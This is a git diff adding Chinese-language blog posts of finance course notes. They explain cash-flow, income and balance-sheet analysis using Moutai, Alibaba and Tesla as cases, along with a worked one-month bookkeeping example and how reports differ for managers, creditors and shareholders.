+但是，茅台有没有在扩产呢？其实，茅台对外投资很谨慎，因为茅台要找一个投资回报率比它自己更高的项目太难了。一个企业只有在对外投资的这个项目赚钱能力比自身赚钱能力强才会进行投资。对于茅台来说，因为白酒这个行业是一个衰退的行业，产值在逐步下降，所以茅台不可能在这个行业内再去投资别的企业。 + +茅台企业策略很清晰，即通过价格上涨来增加利润。它并不想去寻求较高的市场占有率。它的目标消费人群是金字塔尖的那群人。 + +所以，在最近十年，茅台仅仅扩大再生产过一次，它每一年在做的事情都是改造它的酒窖或者研究更好的配方，即技术改造。它在2014年投资45亿，2013年投资53亿，2012年投资42亿，这些投资大部分用于技术改造。所以，茅台的经营活动、投资活动的现金不匹配。 + +自由现金流=经营活动+投资活动 + +2008年，茅台自由现金流是52亿，减去投资活动、筹资活动的现金，最后剩下43亿，这43亿它可用于分红。对投资者来说，自由现金流就是这个企业可以用来分红的钱。2016年，茅台自由现金流是363亿。当然，2016年的数据有一点点偏高，到2017年调整到210亿。所以，我们将210亿和10年前它可能拿出来分配的现金43亿比一下，这个数值就是茅台可用于分配的现金增长率。 + +![](/uploads/2018/10/24-78.png) + +大家可以去算一下茅台每一年的分红方案，这个自由现金流和企业最终出来的分红方案是不一样的，它最终的分红方案可能在自由现金流之下，因为企业还需要留一些现金在账上。 + +所以，茅台这支股票值多少钱呢？如果这个市场是公平的，投资者现在花700元买茅台的股票，就等于它未来能给投资者现金分红的贴现值之总和。从数据来看，茅台在未来给予投资者的分红会增长。 + +也就是说，700元是一个合理的价格。但是，如果茅台的股价涨到1000元就偏高了，因为按照它自由现金流增长的速度能够给投资者带来的分红的情况来折算，1000元就代表它要有一个超额增长了，对于传统行业来说，比较困难。 + +案例2：赚钱但不分红的企业——阿里巴巴 + +那我们再来看那些赚钱但是不分红的企业，阿里巴巴最近花费93亿美金收购饿了么，目的到底是为了什么？是因为饿了么能够比阿里巴巴自身赚更多的钱吗？并不是，因为饿了么本身不盈利。 + +有的人用做金融的方法去做企业，把这个企业做成一个风控产品来卖，因为这个市场上有很多买家，他们更看重规模而不是看重企业能给带来的投资收益。因为阿里巴巴赚钱能力太强，所以它收购饿了么是为了给它创造更多的规模。 + +我们来看一下阿里巴巴从2011年-2017年现金流构成，阿里巴巴经营净现金自2011年起持续增长。 + +![](/uploads/2018/10/24-79.png) + +我最近请我的一个学生写他的毕业论文的时候，用了一个检验的方法。我们发现，互联网增长或者新零售，它与传统企业增长方式不一样。 + +传统企业的增长来源于销售收入、销售数量的增长，数量和销售收入之间成正比，且是增长率为直线增长。但是，新零售业务量的增长对收入的增长是二次方增长。所以，新零售比传统企业带来的规模效应更大。 + +阿里巴巴的经营净现金的增长，它不是直线增长，而是二次方增长。它的投资净现金很少，一部分钱用于投资自身，大部分钱用来做并购。由于阿里巴巴披露的财报是按照美国会计准则来的，所以我们无法评估其对内投资、对外投资的比重，而是将二者合二为一分析。 + +在自由现金流上，阿里巴巴在2013、14年自由现金流为负。因为阿里巴巴2014年在美国上市，这一年它需要通过并购来扩大企业规模。2014年过后，阿里巴巴通过新零售线上线下互动这种方式，给它带来了经营现金流更快的增长，使它可以继续通过并购扩大企业规模。 + +![](/uploads/2018/10/24-80.png) + +除了2013年和2014年这两年，阿里巴巴在并购的同时还进行了融资。2014年它在美国上市，获得IPO巨额融资。但是，2016年和2017年这两年它仍然在持续融资，因为它的对外股权投资需要大量现金。 + +![](/uploads/2018/10/24-81.png) + +所以，阿里巴巴虽然通过产品服务持续地赚钱，但是它仍然处在一个旺盛的投资期、仍然需要通过战略投资扩大规模，而投资消耗大量现金，所以它仍然需要融资。 + +在这个阶段，虽然阿里巴巴可以自负盈亏，但是因为它还需要有更大的规模。所以，它没有办法将钱用来给投资者分红。它虽然有自由现金流，但是自由现金流不是用来分红，而是用来估价，借以促进投资者继续投资。 + +案例3：不赚钱更何谈分红的企业——特斯拉 + +特斯拉创始人埃隆·马斯克，将第一性原理用于商业活动、商业决策，他是一个成功的融资者。但是，他到底是不是一个成功的企业家呢？从特斯拉财务数据可以发现，特斯拉的净利润从2007年开始一直为负，并且从2015年开始，亏损持续增大，2017年亏损更创有史以来之最。不过，特斯拉在2007年-2014年，亏损相比其它时期有所降低。 + +2013年，特斯拉仅亏$4.5亿，这时候投资者认为特斯拉盈利在望。但是，2014年-2017年净利润却给投资者以沉重打击。其实，特斯拉毛利率超过20%，比中国比亚迪、上汽等传统车企都要高。 + +但是，它的互联网销售模式对吗？互联网销售模式是第一性原理，但是特斯拉更多的是通过投资解决自身存在的问题，而不是进行渠道拓展。特斯拉的营销费用占销售收入的比重超过了它的毛利。所以，我们很难评估互联网这种销售模式是不是可以给企业带来优势，这也就是特斯拉卖的越多、亏的越多的主要原因。 + +![](/uploads/2018/10/24-82.png) + +从经营净现金这个数据看，由于特斯拉全自动化工厂需要大量的投入和折旧，这影响了它的利润。由于特斯拉并不是每年都需要进行这种投入，而是在未来进行设备更新。 + +所以，尽管它的净利润持续下降，但是经营净现金数据却保持稳定，因为经营净现金只是用于生产、销售，不涉及产能投资和研发。如果特斯拉仅仅是生产、销售，把自动化工厂的投资剥离。 + +那么，它的利润表就会稳健一些。但是，马斯克为了维持特斯拉的整体性并没有这么做。所以，特斯拉每年都需要大量筹资来维护它的投资活动，来进行研发和产能。即使特斯拉经营活动亏损较低，但是特斯拉并没有赚钱，这是特斯拉的现状。 + +综上，很难说马斯克是一个成功的企业家，因为成功的企业家至少要让一个企业能持续经营。 + +持续经营指企业必须有持续的产品竞争力和持续的现金周转能力。也就是说，企业自由现金流必须为正，产品能赚钱，并能通过赚来的钱搞研发，自给自足、丰衣足食。但是特斯拉显然不是，它要靠投资者投资来让它持续的做研发，通过持续的研发来维护产品的持续竞争力。所以，特斯拉不是一个独立的企业。 + +反过来讲，马斯克对特斯拉最重要的贡献就是他能够让投资者每一年都给他钱，来维护这个企业的生存，他是一个成功的融资者。所以，做一个企业家特别不容易，但是要做一个成功的融资者，那你就要用金融的方法，去把你的产业做成一个风口，然后不停的吸引人给你投钱。 + +综上，让企业活下去有两个方法。第一，不断的从投资者那儿拿钱。第二，研究自己、养活自己。前者我们称为成功的融资者，后者我们称为成功的企业家。 + +二、利润表反应的经济活动 + +我们在分析现金流量表的时候，不断地去关注企业利润，如果企业盈利，就是利润表。 + +大家首先要关注现金流量表，因为现金流量表可以反映一个企业的赚钱能力、投资情况，之后再关注利润表。利润表是反映企业在一定会计期间内经营成果的财务报表，重点突出两个字，当期，例如一个月、一个季度、一年的经营成果。 + +1.营业活动 + +利润表上一个重要的概念叫营业周期。营业周期是一个企业投产品、做产品、卖产品、收回钱这4个步骤都完成所需要的时间。营业周期不仅包括销售一单业务时间，也包括收回款项时间。 + +所以，我们不能用一年的财务数据来评估房地产企业，因为企业从买地、设计、建造、销售、回款，可能需要2-3年，而一年的财务数据并没有涵盖一个完整的营业周期。但是大部分制造企业的营业周期是在120天之内，所以我们可以通过关注企业一个季度、半年、一年的利润表评估经营成果。 + +对于冶金这种上游行业来说，营业周期一般是90天。冶金通过买矿石、冶炼、高炉转炉冶炼出来后，按照下游客户的需求，注模、出产品，最后卖掉、收回钱。冶金行业在上游是矿产行业，一般矿产行业营业周期是60天，我们需要看两个月的财务报表。 + +所以，尽管利润表是有它规定的日历时间，但这个日历时间其实不一定有效。所以，我们在看日历时间的时候，还需要关注企业一个完整的营业周期，在这个营业周期的盈利才是完整的。当企业通过利润表上投产品、做产品、卖产品的营业周期收回投资，就诞生现金流量表。 + +2.营销活动 + +企业销售的结转成本至关重要，但是成本这个概念是制造业独有，而服务业没有成本。但是会计准则源自工业3.0。所以，成本的概念与工业3.0——企业的标准化生产关系重大。 + +企业需要通过市场营销活动进行市场推广。在企业管理上，两者并不是一个概念。市场营销为了销售产品，而品牌营销是战略。所以，很多企业、投资人或者股东，他在转让企业的时候，会着重关注资产负债表，通过专利、品牌影响力等无形资产来评估企业价值。 + +品牌建设是企业的战略，现在大部分企业只是通过产品营销将产品卖出。但是，如果企业要建立品牌，就需要关注消费者体验，通过消费者体验的积累形成一种信任。建立品牌后，当企业推出新产品时，就会提高消费者的接受程度。 + +所以，一个有品牌的企业和一个有产品的企业是不一样的。但是，大部分企业在做销售推广的时候，并不区分产品营销和品牌投入——企业在市场推广上的所有支出都被视为费用，在利润表上体现。如果企业通过品牌推广、确立品牌价值后，当变卖企业的时候，就要对品牌价值进行专门评估，这和企业在品牌推广上的投资有区别。 + +3.管理活动 + +企业管理费用指企业的行政管理部门为管理和组织经营而发生的各项费用，包括管理人员资和福利费、固定资产和无形资产的折旧摊销等。另外，如果企业向银行借了钱就会有利息、手续费。企业将美金结算成人民币会产生汇兑损益，这些都是财务活动的支出。 + +固定资产和无形资产的折旧，大部分时候它会体现在跟固定资产对应的活动当中。例如，企业是生产企业、有设备，那么这个设备的折旧可能就计入产品成本。但是，如果企业没有工厂、只提供服务，那么设备折旧，可能就计入管理费用。 + +4.投资收益、各项税费 + +企业通过购买金融产品、对外股权投资产生的投资收益或转让损益；通过政府补助、各项税费等产生的费用均记入当期利润表。 + +三、资产负债表反应的经济活动 + +资产负债表是反映企业在某一特定日期（如月末、季末、年末）全部资产、负债和所有者权益情况的会计报表。企业一笔交易如果在日历年度之内完成了，它只对现金产生影响。 + +比如企业采购了材料、付款完成；企业卖出产品、货款收到，交易结束；企业完成缴税、员工工资发放；企业谁的债也不欠，别的供应商也不欠企业账款。如果企业所有的东西都是租来的，那账面只有现金。如果企业交易没有结束，就产生债权、债务。如果企业有设备、厂房，那么就说明企业拥有资产和负债。所以，资产和负债是企业在一段时间的经营以后，留下来的东西，这些东西在未来要变现或者支付债务。 + +企业现金流量就是交易，所有的交易完成都形成现金。当交易发生的时候，它会出现在利润表上；当交易发生了、但是没有结束，就会形成资产。 + +当我们关注财务报表时，最重要的是现金流量，因为现金流量告诉我们一个企业完整的活动，经营、投资、筹资。但是，如果你特别关注当期的话，也可以从利润表入手。先看当期的交易是什么，接着再看这些交易有没有结束。如果没有结束它发生了什么状况、留下了什么结果，资产负债表就是用这个顺序来展开。 + +资产负债表它有一个内在平衡的原理，即资产=负债+股权。资产就是企业能够看得见、实际管理的这些东西，负债是属于债权人，股权是属于股东，负债和股权也称为资金和资本。一个企业的资产是谁投的？股权和债权人。资产负债表在法律上是一个企业两权分离的结果，资产等于经营管理权，负债和股东权益等于收益权。所以，管理权必须等于收益权。 + +四、三表案例假设 + +1.三表合一 + +下面我们通过股东这个完整的报表来了解一个企业的经营活动如何体现在财务报表中。 + + +这是一个标准的丁字形表格，左边是资产，右边是负债和股权。股东权益分成两部分，股东的投入与当年的利润表。 + +为什么会把利润表放到资产负债表里面去呢？因为净利润属于股东，一个企要有利润、亏损，最后都要归集到股东权益，净利润属于股东。也就是说，利润表的最终结果是由股东来承担，因此我们会把利润表放在股权权益向下。 + +在资产负债表的资产左上方的这个表格，货币资金（现金及银行存款）。这个部分也是现金流量表，货币资金里面分为经营活动、投资活动、融资活动，在这里面又分了流入和流出。所以，现金流量表讲的是一个企业全部已经完成的交易，对钱产生的影响，现金流量表是资产负债表上重要组成部分。 + +综上，利润表和现金流量表是资产负债表的一部分，所以企业三张财务报表可以合成一张，即“三表合一”。 + +2.企业案例假设 + +我们来通过假设一个企业经济活动的案例来看一下经济活动是如何反应在财务报表上。 + +假设有一个创业的企业，公司刚刚成立一个月，股东现金投资了100万，也就是说，企业的账上有100万现今，在企业期初货币资金，记100。然后，在股东权益——股东投入里面的实收资本和资本公积，记100。 + +接下来企业开始做生意。第一，企业在当月1日支付房租3万元，在资产负债表里经营活动的流出里面记-3。企业账上的钱少了3万，所以在右边股东权益——当年利润表的管理费用里面记-3。利润表是企业当期发生的一笔费用，资产负债表的左边现金少了3万，右边利润表上也会有3万的管理费用支出，这是企业做的第一件事情。 + +第二，假设企业有6个管理人员，每人每个月工资5000元，但是企业还未付，于是在负债下面应付职工薪酬，记3。 + +第三，企业在3日购买设备花费24万，在固定资产上，记24。这个设备买来时24万，企业要付16%增值税，24×16%=3.84。3.84万要分两年抵扣，购买当年抵扣60%，购买第二年抵扣40%。所以，3.84×0.6=2.304，此项在应交税费里面增税及其它，记-2.304。还有40%要下一年抵扣，在待抵扣一栏，记-1.536。所以，购买设备共计花费27.84万，在货币资金的投资活动流出一栏，记-27.84。 + +第四，企业花费10万元购买材料，记在存货下面的原材料一栏，10。同时产生增值税是16%，1.6万，由于可以抵扣，在应交税费增税里面记-1.6。所以，购买材料共花费10万+1.6=11.6万，未支付，在应付账款，记11.6。企业在当月5日把材料从仓库中拿出来投入加工，由于仓库里面已经没有材料，所以在原材料，记-10。原材料在车间加工，在产品，记10。 + +第五，企业需要支付加工工人工资20万，在产品投入人工费，记20。但由于是月初，所以还未支付，在负债里面的应付职工薪酬，记20。 + +第六，为了加工产品，企业花费24万购买了设备，需要分摊在产品成本当中。假设这个24万的设备预计能用12个月，所以每月分摊2万产品成本，在产品记2。由于这是机器设备的分摊，所以在固定资产下面的累计折旧，记-2。在机器设备用过一个月之后，账面价值就只有22万，这个时候设备拿出去卖，卖不到22万，所有的设备落地打8折。 + +第七，当月25日，产品的三分之二完工并交付。在产品这一栏，材料10万，人工20万，折旧2万，共计32万，这个32万中的三分之二加工完成，已卖出。32万的三分之二约等于22万，产成品记22。由于在产品少了22万，记-22，于是在产品还剩10万，在期末记10。此处，在产品就是加工完成的产品成本。 + +第八，产品被卖掉，企业在25日通过经销商支付渠道费用5万。渠道费用是月付，所以在利润表里面的销售费用，记5。由于钱已经支付，现金减少5万，所以在资产里面经营活动流出一栏，记-5。28日，公司将产品交付给客户，客户验收完后确认，确认了之后公司开发票，获得销售收入40万，账期10天，在利润表里面营业收入，记40。 + +同时，需要缴纳40×16%=6.4万增值税。由于增值税是企业向客户要收的税，需要交给税务局，所以不能抵扣，在应交税费记6.4。由于客户还未付钱，账期十天，所以应收账款，记46.4。产品卖出，产成品减少，记-22。同时，营业成本减少22万，记-22。 + +产成品减少，也就是去成本了，在会计称为结转成本；产品卖出，称为结转产品。收支共有两条线。收入，是企业有没有收到客户的钱。收到钱一边记收入，一边记现金流入。如果没收取到钱，一边记收入，一边记应收账款。当企业有了收入以后，库存减少，所以产成品减少，与收入匹配。也就是说，产成品变成了利润。所以，我们能够看到这批货成本是22万，卖了40万，毛利是18万。 + +另外，很重要的一点是——增值税不是企业的收入和成本，增值税只是经过企业。企业在买材料时，付了1.6万的税；在卖产品时，收进来6.4万税。正常情况下，增值税是因为产品增值而交的税。 + +但是，如果企业支付员工工资，这里面有没有可以抵扣的呢？企业买材料有增值税可以抵扣吗？企业给员工支付工资，除非是劳务外包，通过机构认证，可以开增值税发票用于抵扣。如果企业是为了支付员工工资，由于工资是对产品的增值有贡献的，但是它没有形成增值税，所以不能抵扣。所以，当企业形成一定规模时，税收筹划至关重要。 + +企业在卖产品收进来6.4万税，买材料时，支付1.6万税，买设备交的税60%可以在当天抵扣，所以我们当年的增值税，当月应该交6.4-1.6-2.304=2.496。企业卖设备的税还有40%，下一年可以抵扣。所以，税与企业利润没有关系，它只是进进出出，企业需要交差额。 + +市场部除了渠道之外还需要和客户吃饭，花费8000元餐费，记在销售费用，-0.8。企业每一笔款项都要询问是否已经支付，支付就是现金流出，未支付就是应付账款。 + +企业支付修理费2万，按照增值税法的规定，修理费如果对方开具的是增值税发票，就可以用于抵扣。 + +所以个人出差回来找财务部门报销时要注意，餐费可以不要增值税发票，因为餐费的增值税是不能抵扣的，但是修理费的增值税是可以抵扣的。这里假设个人没有拿到修理费的增值税发票，所以必须全额付款，在管理费用里面，记-2。费用已支付，在经营活动现金流出记-2。 + +这个时候已经到月底了，企业月底在资产一栏里面有应收账款、固定资产，由于应收账款有账期，所以现在不能回款。企业负债里面有应付职工薪酬。企业在月底的时候支付员工工资23万，在支付以后需要把应付职工薪酬注销，在经营活动现金流出，记-23。 + +在这个案例中，我们看到，企业材料账期为40天。作为企业，不仅要做好产品、还需要安排好时间。 + +企业的竞争力是和企业上游、下游客户谈判。和上游客户谈采购时，需要有价格、账期；和下游客户谈销售，销售也有价格、账期。所以，账期和价格体现一个企业的竞争力。当企业开始事业的时候，要争取上游材料上给予企业更多账期，不然企业会被现金流拖垮。 + +企业净利润4.2万，所得税为1.05万，所得税=（收入-成本-各项费用）×25%。所得税当月记录，下月上缴。也有些地方所得税为每季度上交。所得税在此案例中不在赘述。但是，只要企业有所得税的时候，都要记录在应交税费中。在扣完所得税之后，企业当月盈利=4.2-1.05=3.15万。企业销售额为40万，净利润3.15万，现金流约为40万。 + +综上，这张表记录了企业一个月的现金交易，除了购买设备外，当月交易基本都记录在利润表中，因为购买设备不是当月用完就报废，而是还可以继续使用11个月，所以记录在资产上。 + +企业在当月还有应收款、应付款、应付税。利润表体现企业的经营成果，而资产负债表体现企业财务状况。资产负债表包括企业经过一个月的经营后，还剩余多少现金、债权债务、资产。资产包括固定资产、产成品。 + +表中的企业虽然盈利，但是购买设备需要花费现金、卖出产品产生应收账款，所以导致企业现金流出较大。这两件事情和盈利是不匹配的。所以，企业在跟投资者解释的时候，要给他看利润表。投资者在看完利润表会询问企业是否存在问题，这个时候企业就要解释企业的应收账款回收程度。对企业来说，款项要么收回、要么形成坏账，这决定了企业利润。 + +![](/uploads/2018/10/24-83.png) + +最后，对于创业者来说，不仅要了解利润表，更要了解现金流量表，这样可以明白利润与现金流产生差异的原因。所有的财务分析不仅要分析经营成果，更要分析经营现金流过程，这样就可以推导出企业盈利或亏损产生的原因。 + +所以，我希望混沌的学员，能够利用这张表格对公司当月的交易进行记录，培养自己对财务数据的感觉，帮助企业进行财务分析、风险管控。 diff --git a/_posts/2018-10-29-302-xcw03.md b/_posts/2018-10-29-302-xcw03.md new file mode 100644 index 0000000..a3db1d6 --- /dev/null +++ b/_posts/2018-10-29-302-xcw03.md @@ -0,0 +1,275 @@ +--- +layout: post +title: 【财务会计模块】 第3节 财务报表的应用 +pid: 302 +tags: [mba] +--- + +上一堂课中，单教授主要讲授了“财务报表的原理”，这一堂课单教授讲授了如何运用这个原理来总结如何对内做财务报告，如何对债权人解释我们的偿债能力，如何对股东解释我们的投资价值，不同的财务报告的对象，不同的角度去看财务报表，其实是个分类的问题。 + +一、企业对内财务报告 + +财务分析的对象有两个：第一：给企业内部管理层看。第二：给企业外部的投资人看。 + +![](/uploads/2018/10/29-06.png) + +在我们上节课完成的企业假设案例可以看到现金流动的最终结果。例如，经营活动现金流出33.8万，投资活动现金流出27.84万。所以，企业在当月共流出将近60万现金，企业可以从现金流出情况了解企业在当月的现金流向。 + +然后，大家看到企业应收款、存货、预付账款。应收款分为应收账款和其它应收款。应收账款，是企业和客户之间的交易形成的债权。 + +所以，企业需要知道哪些客户形成了应收款，同时还需要了解款项预计变现时间、账期。在上方案例中，企业有应收款46.4，账期10天，交易是28号发生的，所以下月8号必须到账。 + +其它应收款是企业和企业、企业和个人之间的往来，它不是因为销售业务而形成的。例如，员工从企业领了备用金；员工出差向企业借钱；企业和企业之间不是因为交易而产生的一些往来，企业借钱给别的企业；企业给客户支付保证金。所有应收账款、其他应收款都要讲明回收期限、能收回多少账款、产生多少损失。 + +企业在交易发生的时，销售部门一定要对客户的信用状况做出评估。要评估销售形成以后，客户答应10天后付款的可能性有多大。实际上，企业在交易的时候，要针对客户信用进行精准营销。精准营销不仅要找对客群，还要把产品卖给付得起钱的客户，这个很重要。 + +存货是在仓库或车间里面，企业拥有多少货品。例如，企业有原材料。就要核对仓库里面原材料是哪些，有多少数量，还有多少金额。在产品是在车间里还是在加工状态。产成品虽然又在仓库里，但是它已经完工。所以，企业需要了解产品情况。 + +企业还有三分之一产成品，账面金额10万，下个月卖出。销售部门需要预测具体何时卖出效益最佳。在这里我设定为下月末卖出。 + +存货在财务报表是用成本来记录，成本是一个企业的投入。但是企业是按售价卖出存货，在这里我将10万的存货卖出价设定为20万。企业在下个月，不生产新产品，在应收款全部收回，剩下的库存全部卖掉的情况下，企业下个月能够收回现金66万。 + +以上是对内财务报告中需要提到的，即这个月遗留事件是什么、在什么时候这些事件会解决。资产最重要的就是要变现、能变现多少钱，何时变现，这些是企业最想要知道的。 + +在这个案例中负债包括应付款和应交税两个项目。应付款是企业在购买材料的时，欠下供应商11.6万货款，账期40天，在下月13号需要还款。如果企业可以按期回收应收款，那么应付款就可以按期支付。 + +所以，对企业来说，最重要的是营业周期的考验。企业将产品卖掉、变现，就可以给供应商还款，由此企业可以形成良性的现金循环。持续经营中的持续现金周转能力是指企业可以收回客户账款、给供应商的还款、支付员工工资、缴纳所得税。 + +除此以外，企业还有增值税。增值税不是企业的盈亏，而是一个流水的过程，进进出出。此案例中，企业有增值税约2.5万，所得税约1万。那么，企业下个月需要支付11.6+2.5+1.05=15.15万。 + +如果企业应收债权、应付债务能够回款、企业可以通过回款把债务还清，那么企业下个月就可以正常支付运营支出。也就是说，一个企业会有一些固定的支出，例如租金、员工工资、维护渠道的费用、水电费，这些费用不管企业发生业务与否都需要支付。如果企业现金流充足，就说明即使企业在下个月没有增量业务，企业也可以持续经营。 + +所以，企业在做商业计划书的时，既要预估业务拓展会给企业带来怎样现金流变化，也要维持企业账上现金保有量。有些企业认为生意是赚钱的，因为账上有100万，用100万可以去拓展业务。但是现金流量表可以反映出企业盈利，但是无法反映企业是否赚钱。 + +所以，创业企业一定要注意，在账上一定要有足够现金维护未来数月的企业必要支出，不然会造成企业资金链破裂，企业就需要不断融资来维持经营。固定费用是企业融资一次存活的时间，这决定了企业账上的现金数量。 + +另外，企业需要允许自己犯错，如果企业应收账款未收到就造成坏账，这时候企业就难以存活。所以，一个企业不可能不犯错误，如果从一开始企业连犯错的机会都没有，那么它就夭折了。所以，企业在做商业计划书时，需要给自己预留必要的生存空间，包括固定支出、可能发生的损失等。 + +以上是企业内部的财务状况。内容的财务状况是帮助我们了解一个企业的债权、存货、债务，以及在下月可能发生的状况，并且预估下月可能发生的支出，来了解这个企业是否需要去借钱。 + +企业一旦发生财务状况的困难，就需要去向银行借钱，但是银行并不给企业雪中送炭、而是釜底抽薪。当银行看到企业财务状况困难，它可能就不会借钱。 + +所以，企业自身提前做好准备至关重要。所以，财务报表时帮助企业了解财务状况。企业在内部汇报时，是让所有的业务部门了解企业目前的状况——债权、债务、产品，以及企业生死存亡的关键点。关键点是企业采购部门去跟供应商谈判的时，争取更多的账期；销售部门在卖产品的时，维护一定利润率。但是核心是企业要加快应收账款回收速度。 + +二、对债权人报告 + +企业给债权人看的财务报表分类与企业给股东看的有差别。 + +undefined +![](/uploads/2018/10/29-07.png) + +在这张报表上，企业需要给债权人看现金流量。在此表中，显示现金流量的最终结果，有应收款、存货。企业给债权人看的数据，更加概括。企业一般会给债权人看存货总数，而很少看存货当中有多少材料，其中多少是半成品。同时，企业可能很少会和债权人解释应收款是收谁，当然，除非必要时。 + +如果企业的客户是一个大企业，例如阿里巴巴，如果它向企业购买产品而未付钱，企业一定要告诉银行；如果企业的客户是一个很小的企业、在银行的信用很差，企业就得自食其果。企业给银行提供的数据越少越好以免造成不必要的后果。所以，企业给银行提供的数据比较概括。 + +接着，然后我们再来看固定资产与负债。从债权人的角度，他比较关心企业即将到期的债务有多少、期限多久，包括应付账款、应付票据、预收账款、其它应付款、应交税费、短期借款、长期借款、公司债权等。 + +而企业给股东看的表格则略有不同，股东对债务偿还期限不敏感，但是对债务形成比较敏感，会重点关注经营负债和金融负债。 + +股东企业是欠款还是借款。欠款一般与营业周期、产品有关，如果产品售出就可以回款。但是借款和营业周期没关系，是一个固定的时间点。 + +1. 流动性分析 + +债权人关心企业债务期限，关心企业流动性。流动性是企业在1年到期或者1个营业周期——投产品、做产品、卖产品、收回钱需要的时间。 + +在这个时间里，企业会欠供应商钱、欠员工工资、欠税费。但企业这些欠款，等产品卖出时资金会回笼。 + +所以，1个营业周期指企业欠款，1年是指一个企业借款。债权人关心的是这个企业在这个时间点内，欠款和借款能否偿还，以及偿还形式是以现金还是其它方式。所以，债权人很关心企业账上有多少钱，即货币资金。货币资金与企业经营时间有关，企业每一天帐上资金都会变化，例如用资金去采购物品。但是，企业账上现金越多，对债权人来说风险越小。 + +债权人最为关心的是，企业账上有对客户的应收款，款项到达，变现；库房有存货，卖掉，收回款项来还债；账上有预付款，供应商将货物交付企业，企业卖掉、还债。 + +所以，债权人认为企业只要在正常周转，资金都可以用来还债。债权人有两个角度，第一，清算。清算意味着企业不再做任何交易，变卖资产用来还债。清算与持续经营形成了鲜明对比，如果企业的规模在不断缩小，企业就已经在清算状态中。持续经营需要具备两个条件：第一，产品有持续的竞争力。第二，企业有持续现金周转能力。 + +企业规模对于持续经营很重要，例如企业在当月投入32万产品，下月如果还能继续投入32万产品，那么企业可以维持生产规模。但是如果企业这个月投入32万的产品，但企业只能收回22万，说明企业亏损。 + +那么，企业在下个月只能投入22万，说明企业规模在不断缩小。如果规模不断缩小，就是清算状态，而不是等到企业亏损、破产、关门大吉才是清算。当企业一直在亏损时，企业就只能像特斯拉一样，不停地融资、向股东要钱才能维持现有规模、继续经营。 + +企业持续经营，两种可能，一种是企业可以通过自营业务赚钱维持规模；另一种是企业需要不断向股东融资以维持经营，不然企业规模就会越来越小。 + +债权人看企业永远是悲观的，从他的角度，他并不关心企业有没有赚钱、是不是在壮大，而是关心你的企业是不是在清算中、规模是不是在缩小、效益是不是越来越差。但是，只要企业有能力还钱，债权人不关心企业将往何处去。 所以，债权人看企业，主要关注企业账上有多少现金、库存，能收回多少应收款。 + +在企业对内财务报告中，我们讲到，假设企业有10万产成品，卖出20万，这20万就是持续经营。但是债权人关心的不是这点，而是假如企业有10万的存货，有可能会打折扣，卖出5万。但是企业预付款给了供应商，无法收回。所以，债权人是悲观地估算企业价值——关注企业1年或者1个营业周期之内能变现的资产，这就叫流动资产。 + +当然，除了存货以外，企业还会有一些理财产品。理财产品流动性比较好，可以在1年或1个营业周期内马上变现，用来还债。 + +但是，债权人以悲观角度评估资产。如果企业有一个不赚钱、持续亏钱、财务状况很差的客户，应收款就有可能会坏账、库存会低于成本销售，企业给供应商的预付款可能打水漂。在这种情况下，债权人很关心企业能够还清债务。 + +所以，债权人要计算流动比率——假设企业在清算情况下，1年内及1个营业周期之内，企业能够变现的资产，同时这个资产能否还清企业在1个营业周期之内到期的债务。如果流动比大于1，说明企业具有流动性。 + +如果企业想要向债权人借钱，企业就要保证有足够流动资产。也就是说，在清算状态下，企业产品应收款与现金账上的钱合起来，能够覆盖债务，即流动比大于1，这样银行才会借钱。只有在极少数的情况下，在企业流动比率小于1时，银行也会借钱。 + +第一，企业有或者可以提供额外的抵押物。当银行借钱给企业时，考虑的是该项目的风险，所以银行会评估企业在不赚钱的情况下，能否还债，而抵押物对债权人是一个保险，是银行进行风险管理的重要手段。 + +有了抵押物，企业就可以通过变现还债。这个时候，流动比率不再那么重要。第二，如果企业是央企，也可以在流动比率小于1时，借到钱，原因我不再赘述。除此之外，企业很难在流动比率小于1时，借到钱。 + +2. 财务状况分析 + +债权人除了关心流动比率，还关心资产债务率。资产负债率是企业全部负债和部分资产的比较。 + +如果企业资产负债率太高，债权人会担心企业资产价格，企业资产是否价值这么多钱，尤其是对那些重资产企业，企业有很多设备，但也许变现时价值会打折扣。 + +航空公司向银行借钱是一件非常辛苦的事，因为它不是借钱去付机组人员的工资，而是去买飞机。但是，众所周知，飞机在贬值，就像汽车买进时落地打八折。飞机是一个设备，由于所有设备都会受到技术进步而产生技术贬值、使用时会产生损耗，但是技术贬值对资产价值具有重大影响。 + +国内企业购置的飞机大部分为进口，进口商品受汇率影响，汇率是不确定因素，所以银行会评估很久是否借钱给航空公司。 + +借的话，企业用飞机做抵押，这个抵押物却不值钱。所以，只有当航空公司去说服银行，让银行相信他们有能力用运营产生的盈利来付利息、用股东的钱归还本金时，银行才有可能借钱。 + +3. 经营成果 + +另外，银行还会关心企业能否用利润还钱，这里有一个重要的指标叫利息保障倍数，即息税前利润/利息支出，息税前是在不考虑利息的情况下在交所得税前的利润。在财务报表上，净利润属于股东，净利润=利润总额-所得税费用。 + +所以，对于企业来说，向债权人借钱之前首先要搞清楚借钱的用途是什么。有很多企业是季节性的，在企业财务数据中可以看出，企业在旺季时业务量暴增，淡季时业务量平缓。 + +但是，对于季节性企业来说，其实没必要一年四季都在追求规模增长。企业在旺季来临前向银行借钱，旺季结束后，还钱。季节性企业向银行借钱的原因是企业业务季节性增量的资金需求。 + +但是，当企业购买设备、置地时，最好还是向股东借钱，因为企业借出的钱包括商业计划书本金，是由股东偿还。但是，如果企业不方便随时向股东融资，这时企业就需要向银行借钱并告知银行，企业可以偿还借钱利息，等过一点时间企业筹资到手时，归还本金。 + +银行很悲观，它从清算角度来看企业财务数据——企业所有资产值多少钱而不是账面有多少钱、能否清债。实际上，企业要去和银行解释，在持续经营假设之下，企业的流动性，即企业可以通过不断投放产能维持规模。 + +所以，本质上，企业做生意本金由股东投资，银行只是帮助企业解决暂时的、季节性的资金需求。 + +三、对股东报告 + +企业对股东做的报告和会计平时做的表格有差别，对股东报告是以资产展开。 + +1. 经营成果 + +因为，从会计报表发展的历史来看，资产负债表是给债权人看、利润表是给股东看。债权人主要看企业流动性，所以表格以流动资产、流动负债排序。但是对股东来说，他最关心企业能否赚钱，所以他对流动性的关注度没有这么高。 + +![](/uploads/2018/10/29-08.png) + +2. 资产构成 + +2.1 运营资产 + +在给股东看的报表上，企业要很清楚地告诉股东，企业1个月、1个季度、1年这个时间段里，企业的现金情况。运营资产是一个企业在产品和服务中投入的具体金额，例如预付款、存货、应收款、现金，从预付款开始，企业把钱支付给供应商，然后投产品、卖产品，形成应收款、最后收回钱。 + 